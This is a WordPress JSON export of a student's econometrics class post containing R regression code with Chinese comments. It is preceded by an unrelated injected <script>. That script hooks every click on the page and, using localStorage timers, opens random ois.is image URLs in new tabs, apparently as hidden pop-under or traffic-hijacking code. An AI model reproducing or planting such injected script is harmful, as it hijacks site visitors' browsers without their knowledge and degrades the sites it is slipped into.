<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":945,"date":"2022-10-26T22:15:54","date_gmt":"2022-10-26T14:15:54","guid":{"rendered":"https:\/\/edu.secda.info\/scu11354013\/?p=945"},"modified":"2023-10-16T21:41:33","modified_gmt":"2023-10-16T13:41:33","slug":"221006-%e8%a8%88%e9%87%8f%e7%b6%93%e6%bf%9f%e5%ad%b8","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu11354013\/?p=945","title":{"rendered":"221006 \u8a08\u91cf\u7d93\u6fdf\u5b78"},"content":{"rendered":"<p>A &lt;-read.csv(file=&#8221;Week5.csv&#8221;)<\/p>\n<p>table(A$school)<\/p>\n<p>summary(lm(data=A,math ~ grades))<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p>A &lt;-read.csv(file=&#8221;Week5.csv&#8221;)<\/p>\n<p>table(A$grades)<\/p>\n<p>reg1 &lt;- lm(data=A,math ~ grades)<\/p>\n<p>attach(A)<\/p>\n<p>&nbsp;<\/p>\n<p>plot(math~grades)<\/p>\n<p>plot(grades,math)<\/p>\n<p>&nbsp;<\/p>\n<p>reg2&lt;- lm(math ~ county)<\/p>\n<p>summary(reg2)<\/p>\n<p>&nbsp;<\/p>\n<p>model1 &lt;- lm( math ~ lunch+ income+read)<\/p>\n<p>summary(model1)<\/p>\n<p>B &lt;- A [1:420 , c(8,11,13,14)]<\/p>\n<p>head(B,10)<\/p>\n<p>plot(B)<\/p>\n<p>model1\u00a0\u00a0 #\u518dSHOW\u4e00\u6b21\u7d50\u679c<\/p>\n<p>&nbsp;<\/p>\n<p>math_lunch_read &lt;- lm( math ~ lunch+read)<\/p>\n<p>income_lunch_read &lt;- lm( income ~ lunch+read)<\/p>\n<p>lm( math_lunch_read $residuals ~income_lunch_read$residuals)\u00a0\u00a0 #\u9810\u6e2c\u503c\u6316\u6389<\/p>\n<p>&nbsp;<\/p>\n<p>math_lunch_income &lt;- lm( math ~ lunch+income)<\/p>\n<p>read_lunch_income &lt;- lm( read ~ lunch+income)<\/p>\n<p>lm( math_lunch_income$residuals ~read_lunch_income$residuals)\u00a0\u00a0 #\u9810\u6e2c\u503c\u6316\u6389<\/p>\n<p>&nbsp;<\/p>\n<p>library(olsrr)\u00a0\u00a0 #\u5148\u5b89\u88ddolsrr\u5957\u4ef6<\/p>\n<p>ols_coll_diag(model1)<\/p>\n<p>&nbsp;<\/p>\n<p>summary(model1)\u00a0\u00a0 #\u986f\u793a\u7d50\u679c\u70balunch\u4e0d\u986f\u8457 #income\u53caread\u986f\u8457<\/p>\n<p>library(stargazer)<\/p>\n<p>&nbsp;<\/p>\n<p>spec1 &lt;- lm(\u00a0\u00a0 math ~ lunch+read)<\/p>\n<p>spec2 &lt;- lm( income ~ lunch+read)<\/p>\n<p>spec3 &lt;- lm( math ~ lunch+income)<\/p>\n<p>spec4 &lt;- lm( read ~ lunch+income)<\/p>\n<p>stargazer(spec1,spec2,spec3,spec4,<\/p>\n<p>type = &#8220;html&#8221;,<\/p>\n<p>out = &#8220;regression.html&#8221;,<\/p>\n<p>title = &#8220;My Regression models&#8221;)\u00a0\u00a0 #\u518d\u5230\u8b8a\u66f4\u73fe\u884c\u76ee\u9304\u7684\u4f4d\u7f6e\u6253\u958bhtml\u6a94\u6848<\/p>\n<p>&nbsp;<\/p>\n<p>windows()<\/p>\n<p>hist(income,breaks=20,col=10,border=15)\u00a0\u00a0 #\u76f4\u65b9\u5716<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-953 size-medium\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1006_1-300x294.png\" alt=\"\" width=\"300\" height=\"294\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1006_1-300x294.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1006_1-800x784.png 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1006_1-768x753.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1006_1.png 807w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-952 size-medium\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1006_2-300x294.png\" alt=\"\" width=\"300\" height=\"294\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1006_2-300x294.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1006_2-800x783.png 800w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1006_2-768x752.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/1006_2.png 808w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>A &lt;-read.csv(file=&#8221;Week5.csv&#038;#8<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/945"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=945"}],"version-history":[{"count":2,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/945\/revisions"}],"predecessor-version":[{"id":954,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/945\/revisions\/954"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=945"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=945"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=945"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}